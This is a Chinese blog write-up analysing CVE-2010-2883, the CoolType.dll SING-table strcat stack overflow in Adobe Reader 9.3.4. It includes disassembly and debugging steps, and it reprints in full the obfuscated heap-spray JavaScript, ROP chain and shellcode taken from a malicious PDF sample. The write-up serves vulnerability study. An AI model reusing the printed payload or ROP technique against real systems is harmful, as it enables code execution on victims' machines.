CVE-2010-2883

时间:2022-02-18 11:47:08

测试环境:

  Windows xp sp3

  Adobe Reader 9.3.4

成因:

  CoolType.dll库的strcat函数在解析SING表中的uniqueName域时未作长度检查而造成栈溢出

分析:

  用IDA反汇编CoolType.dll库,通过字符串查找定位漏洞位置,下面为IDA的输出:

.text:0803DBF2                 push    ebp
.text:0803DBF3 sub esp, 104h    ; 分配栈空间0x104
.text:0803DBF9 lea ebp, [esp-]  
.text:0803DBFD mov eax, dword_8230FB8
.text:0803DC02 xor eax, ebp
.text:0803DC04 mov [ebp+104h], eax
.text:0803DC0A push 4Ch
.text:0803DC0C mov eax, offset loc_81847C4
.text:0803DC11 call __EH_prolog3_catch
.text:0803DC16 mov eax, [ebp+arg_C]
.text:0803DC1C mov edi, [ebp+arg_0]
.text:0803DC22 mov ebx, [ebp+arg_4]
.text:0803DC28 mov [ebp+var_28], edi
.text:0803DC2B mov [ebp+var_30], eax
.text:0803DC2E call sub_8041626
.text:0803DC33 xor esi, esi
.text:0803DC35 cmp dword ptr [edi+],
.text:0803DC39 mov [ebp+var_4], esi
.text:0803DC3C jz loc_803DDF9
.text:0803DC42 mov [ebp+var_1C], esi
.text:0803DC45 mov [ebp+var_18], esi
.text:0803DC48 cmp dword ptr [edi+0Ch],
.text:0803DC4C mov byte ptr [ebp+var_4],
.text:0803DC50 jnz loc_803DDA2
.text:0803DC56 push offset aName ; "name"
.text:0803DC5B push edi ; int
.text:0803DC5C lea ecx, [ebp+var_1C]
.text:0803DC5F mov [ebp+var_11],
.text:0803DC63 call sub_802178F
.text:0803DC68 cmp [ebp+var_1C], esi
.text:0803DC6B jnz short loc_803DCD6
.text:0803DC6D push offset aSing ; "SING"
.text:0803DC72 push edi ; int
.text:0803DC73 lea ecx, [ebp+var_24]
.text:0803DC76 call sub_8021ABE
.text:0803DC7B mov eax, [ebp+var_24]
.text:0803DC7E cmp eax, esi
.text:0803DC80 mov byte ptr [ebp+var_4],
.text:0803DC84 jz short loc_803DCBD
.text:0803DC86 mov ecx, [eax]
.text:0803DC88 and ecx, 0FFFFh
.text:0803DC8E jz short loc_803DC98
.text:0803DC90 cmp ecx, 100h
.text:0803DC96 jnz short loc_803DCB9
.text:0803DC98
.text:0803DC98 loc_803DC98: ; CODE XREF: sub_803DBF2+9Cj
.text:0803DC98 add eax, 10h    
.text:0803DC9B push eax ; uniqueName域
.text:0803DC9C lea eax, [ebp+]
.text:0803DC9F push eax ; 目的地址:固定大小的栈空间
.text:0803DCA0 mov byte ptr [ebp+],
.text:0803DCA4 call strcat      ; 造成溢出!!!
.text:0803DCA9 pop ecx
.text:0803DCAA pop ecx

  用PdfStreamDumper提取出pdf样本里的TTF文件,关于SING表的TableEntry结构如下:

CVE-2010-2883

  官方文档中对TableEntry结构的定义:

typedef  sturct_SING

{

  char  tag[4];      标记:"SING"

  ULONG  checkSum;    校验和:"0xD9BCC8B5"

  ULONG  offset;       相对文件的偏移:"0x0000011C"

  ULONG  length:      数据长度:"0x00001DDF"

} TableEntry;

  SING表数据结构:从TableEntry结构入口偏移0x11c,再偏移0x10即是uniqueName域;

CVE-2010-2883

  打开OD调试Adobe,然后打开pdf样本文件,运行期间报错忽略; 执行到strcat后,会把 “58 E0 8D AD”开始的部分复制到ebp指定的地址处(0x0012E4D8),直到遇到NULL字符;

CVE-2010-2883

  对上图数据窗口复制到缓冲区的紫色区域设置内存访问断点,Ctrl + F9不断执行, 多次尝试会发现中断于以下位置:

CVE-2010-2883

  从此处跳入ROP链中,此时栈内存分布:

CVE-2010-2883

  4A82A714处的指令为:

CVE-2010-2883

  执行后跳转进入shellcode,此时栈内存分布如下:

CVE-2010-2883

  0c0c0c0c处的shellcode是pdf样本里的JS代码通过Heap Spary技术实现的,JS代码提取如下:

//afjp;ajf'klaf

var nXzaRHPbywqAbGpGxOtozGkvQWhu;
for(i=0;i<28002;i++) // ahjf;ak'
nXzaRHPbywqAbGpGxOtozGkvQWhu+=0x78;//ahflajf
var WjOZZFaiSj = unescape;
var nXzaRHPbywqAbGpGxOtozGkvQWhu = WjOZZFaiSj( "%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000"+
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);
var pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn = WjOZZFaiSj("\x25\x750c0c\x25\x750c0c");
while (pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.length + 20 + 8 < 65536) pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn+=pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
SP = pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn.substring(0, (0x0c0c-0x24)/2);
SP += nXzaRHPbywqAbGpGxOtozGkvQWhu;
SP += pmgvXaZEVSYyZFlwiyTUXIWqxDLEEfiaxlDUvDLzHBVNwGYmidJHWcXDTBTMdsAIgkQDlyHSLn;
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC = SP.substring(0, 65536/2);
while(xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.length < 0x80000) //shp;aj;gfk
xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC += xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC;
//hfkahgla;jgh
GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug = xUMNQhfdmocFZymlQrTjykgzOyqFpovgWJBTEvHJesSPAVwaC.substring(0, 0x80000 - (0x1020-0x08) / 2);
var cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn = new Array();
for (DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq=0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq<0x1f0;DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq++) cDCdelAGyuQnWJRQgJYHnnYaCodcmHzSGSZCApDTmRSuzfjCcQtbDrjRWhIPALakngwCGRNLwzuwjn[DbeaIqBSxbQpCWKjOcBfxTjMMumFtvWRALLmvxWmpGqspcykSJCsnfgouxWpsMAxWGbesHwgDNlsefwq]=GoWTdYyXRVoaaVNQFUraIIgKaZWMCoBPCpbtBgmUEbttxdIrXcnuhbElbSzckVjaIEpsnrmaSpbURlsFTNUUnug+"s";

  可以看出js代码运用了典型的堆喷射技术并做了混淆以防止被安全程序检测到。

  之后,shellcode作者利用ROP技术调用API函数将shellcode写入到一段可执行可写的内存区域,然后跳转过去,执行恶意行为;恶意行为的分析请参照《漏洞战争》第二章。

结论:

  本次的缓冲区溢出漏洞,其代码作者并没有用通用的方法覆盖返回地址(个人觉得貌似因为有GS保护会使得获取控制权失败),而是覆盖了虚函数地址(具体的覆盖流程一直没有调试出来,学艺不经啊!!),进而控制程序执行流程。运用ROP技术绕过了DEP保护,而构造ROP指令的地址也位于不受ASLR保护的icucnv36.dll模块,因而也绕过了ASLR。

  两处跳转地址0x4A82A714和0x4A80CB38都位于icucnv36.dll模块; 而在Adobe Reader的各版本中,这两处地址始终不变,才保持了exploit的稳定性。

技术总结:

  ROP

  Heap Spary

参考:

  《漏洞战争》

  《0day安全 软件漏洞分析技术》

第一次分析漏洞,不足之处多多指教。